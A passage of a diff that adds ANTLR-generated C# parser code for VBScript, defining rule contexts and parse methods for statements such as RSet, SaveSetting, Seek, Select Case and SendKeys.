RsetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_rsetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterRsetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitRsetStmt(this); + } + } + + [RuleVersion(0)] + public RsetStmtContext rsetStmt() { + RsetStmtContext _localctx = new RsetStmtContext(Context, State); + EnterRule(_localctx, 196, RULE_rsetStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2039; + Match(RSET); + State = 2040; + Match(WS); + State = 2041; + implicitCallStmt_InStmt(); + State = 2043; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2042; + Match(WS); + } + } + + State = 2045; + Match(EQ); + State = 2047; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,314,Context) ) { + case 1: + { + State = 2046; + Match(WS); + } + break; + } + State = 2049; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SavepictureStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVEPICTURE() { return GetToken(VBScriptParser.SAVEPICTURE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SavepictureStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_savepictureStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSavepictureStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSavepictureStmt(this); + } + } + + [RuleVersion(0)] + public SavepictureStmtContext savepictureStmt() { + SavepictureStmtContext _localctx = new SavepictureStmtContext(Context, State); + EnterRule(_localctx, 198, RULE_savepictureStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2051; + Match(SAVEPICTURE); + State = 2052; + Match(WS); + State = 2053; + valueStmt(0); + State = 2055; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2054; + Match(WS); + } + } + + State = 2057; + Match(COMMA); + State = 2059; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,316,Context) ) { + case 1: + { + State = 2058; + Match(WS); + } + break; + } + State = 2061; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SaveSettingStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVESETTING() { return GetToken(VBScriptParser.SAVESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public SaveSettingStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_saveSettingStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSaveSettingStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSaveSettingStmt(this); + } + } + + [RuleVersion(0)] + public SaveSettingStmtContext saveSettingStmt() { + SaveSettingStmtContext _localctx = new SaveSettingStmtContext(Context, State); + EnterRule(_localctx, 200, RULE_saveSettingStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2063; + Match(SAVESETTING); + State = 2064; + Match(WS); + State = 2065; + valueStmt(0); + State = 2067; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2066; + Match(WS); + } + } + + State = 2069; + Match(COMMA); + State = 2071; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,318,Context) ) { + case 1: + { + State = 2070; + Match(WS); + } + break; + } + State = 2073; + valueStmt(0); + State = 2075; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2074; + Match(WS); + } + } + + State = 2077; + Match(COMMA); + State = 2079; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,320,Context) ) { + case 1: + { + State = 2078; + Match(WS); + } + break; + } + State = 2081; + valueStmt(0); + State = 2083; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2082; + Match(WS); + } + } + + State = 2085; + Match(COMMA); + State = 2087; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,322,Context) ) { + case 1: + { + State = 2086; + Match(WS); + } + break; + } + State = 2089; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SeekStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEEK() { return GetToken(VBScriptParser.SEEK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SeekStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_seekStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSeekStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSeekStmt(this); + } + } + + [RuleVersion(0)] + public SeekStmtContext seekStmt() { + SeekStmtContext _localctx = new SeekStmtContext(Context, State); + EnterRule(_localctx, 202, RULE_seekStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2091; + Match(SEEK); + State = 2092; + Match(WS); + State = 2093; + valueStmt(0); + State = 2095; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2094; + Match(WS); + } + } + + State = 2097; + Match(COMMA); + State = 2099; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,324,Context) ) { + case 1: + { + State = 2098; + Match(WS); + } + break; + } + State = 2101; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SelectCaseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SELECT() { return GetToken(VBScriptParser.SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_SELECT() { return GetToken(VBScriptParser.END_SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SC_CaseContext[] sC_Case() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SC_CaseContext sC_Case(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SelectCaseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_selectCaseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSelectCaseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSelectCaseStmt(this); + } + } + + [RuleVersion(0)] + public SelectCaseStmtContext selectCaseStmt() { + SelectCaseStmtContext _localctx = new SelectCaseStmtContext(Context, State); + EnterRule(_localctx, 204, RULE_selectCaseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2103; + Match(SELECT); + State = 2104; + Match(WS); + State = 2105; + Match(CASE); + State = 2106; + Match(WS); + State = 2107; + valueStmt(0); + State = 2109; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2108; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 2116; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==CASE) { + { + { + State = 2113; + sC_Case(); + } + } + State = 2118; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2120; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2119; + Match(WS); + } + } + + State = 2122; + Match(END_SELECT); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CaseContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public SC_CondContext sC_Cond() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SC_CaseContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_Case; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSC_Case(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSC_Case(this); + } + } + + [RuleVersion(0)] + public SC_CaseContext sC_Case() { + SC_CaseContext _localctx = new SC_CaseContext(Context, State); + EnterRule(_localctx, 206, RULE_sC_Case); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2124; + Match(CASE); + State = 2126; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,328,Context) ) { + case 1: + { + State = 2125; + Match(WS); + } + break; + } + State = 2128; + sC_Cond(); + State = 2130; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,329,Context) ) { + case 1: + { + State = 2129; + Match(WS); + } + break; + } + State = 2135; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,330,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2132; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + } + State = 2137; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,330,Context); + } + State = 2144; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,332,Context) ) { + case 1: + { + State = 2138; + block(); + State = 2140; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2139; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2142; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CondContext : ParserRuleContext { + public SC_CondContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_Cond; } } + + public SC_CondContext() { } + public virtual void CopyFrom(SC_CondContext context) { + base.CopyFrom(context); + } + } + public partial class CaseCondExprContext : SC_CondContext { + [System.Diagnostics.DebuggerNonUserCode] public SC_CondExprContext[] sC_CondExpr() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public SC_CondExprContext sC_CondExpr(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public CaseCondExprContext(SC_CondContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExpr(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExpr(this); + } + } + public partial class CaseCondElseContext : SC_CondContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + public CaseCondElseContext(SC_CondContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondElse(this); + } + } + + [RuleVersion(0)] + public SC_CondContext sC_Cond() { + SC_CondContext _localctx = new SC_CondContext(Context, State); + EnterRule(_localctx, 208, RULE_sC_Cond); + int _la; + try { + int _alt; + State = 2161; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ELSE: + _localctx = new CaseCondElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 2146; + Match(ELSE); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case DOT: + case EXCLAMATIONMARK: + case LPAREN: + case MINUS: + case PLUS: + case L_SQUARE_BRACKET: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case FILENUMBER: + case OCTALLITERAL: + case IDENTIFIER: + case WS: + _localctx = new CaseCondExprContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 2147; + sC_CondExpr(); + State = 2158; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,335,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2149; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2148; + Match(WS); + } + } + + State = 2151; + Match(COMMA); + State = 2153; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,334,Context) ) { + case 1: + { + State = 2152; + Match(WS); + } + break; + } + State = 2155; + sC_CondExpr(); + } + } + } + State = 2160; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,335,Context); + } + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SC_CondExprContext : ParserRuleContext { + public SC_CondExprContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sC_CondExpr; } } + + public SC_CondExprContext() { } + public virtual void CopyFrom(SC_CondExprContext context) { + base.CopyFrom(context); + } + } + public partial class CaseCondExprValueContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public CaseCondExprValueContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprValue(this); + } + } + public partial class CaseCondExprIsContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ComparisonOperatorContext comparisonOperator() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public CaseCondExprIsContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprIs(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprIs(this); + } + } + public partial class CaseCondExprToContext : SC_CondExprContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public CaseCondExprToContext(SC_CondExprContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCaseCondExprTo(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCaseCondExprTo(this); + } + } + + [RuleVersion(0)] + public SC_CondExprContext sC_CondExpr() { + SC_CondExprContext _localctx = new SC_CondExprContext(Context, State); + EnterRule(_localctx, 210, RULE_sC_CondExpr); + int _la; + try { + State = 2180; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,339,Context) ) { + case 1: + _localctx = new CaseCondExprIsContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 2163; + Match(IS); + State = 2165; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2164; + Match(WS); + } + } + + State = 2167; + comparisonOperator(); + State = 2169; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,338,Context) ) { + case 1: + { + State = 2168; + Match(WS); + } + break; + } + State = 2171; + valueStmt(0); + } + break; + case 2: + _localctx = new CaseCondExprValueContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 2173; + valueStmt(0); + } + break; + case 3: + _localctx = new CaseCondExprToContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 2174; + valueStmt(0); + State = 2175; + Match(WS); + State = 2176; + Match(TO); + State = 2177; + Match(WS); + State = 2178; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SendkeysStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SENDKEYS() { return GetToken(VBScriptParser.SENDKEYS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SendkeysStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_sendkeysStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSendkeysStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSendkeysStmt(this); + } + } + + [RuleVersion(0)] + public SendkeysStmtContext sendkeysStmt() { + SendkeysStmtContext _localctx = new SendkeysStmtContext(Context, State); + EnterRule(_localctx, 212, RULE_sendkeysStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2182; + Match(SENDKEYS); + State = 2183; + Match(WS); + State = 2184; + valueStmt(0); + State = 2193; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,342,Context) ) { + case 1: + { + State = 2186; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2185; + Match(WS); + } + } + + State = 2188; + Match(COMMA); + State = 2190; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,341,Context) ) { + case 1: + { + State = 2189; + Match(WS); + } + break; + } + State = 2192; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SetattrStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SETATTR() { return GetToken(VBScriptParser.SETATTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public SetattrStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_setattrStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void 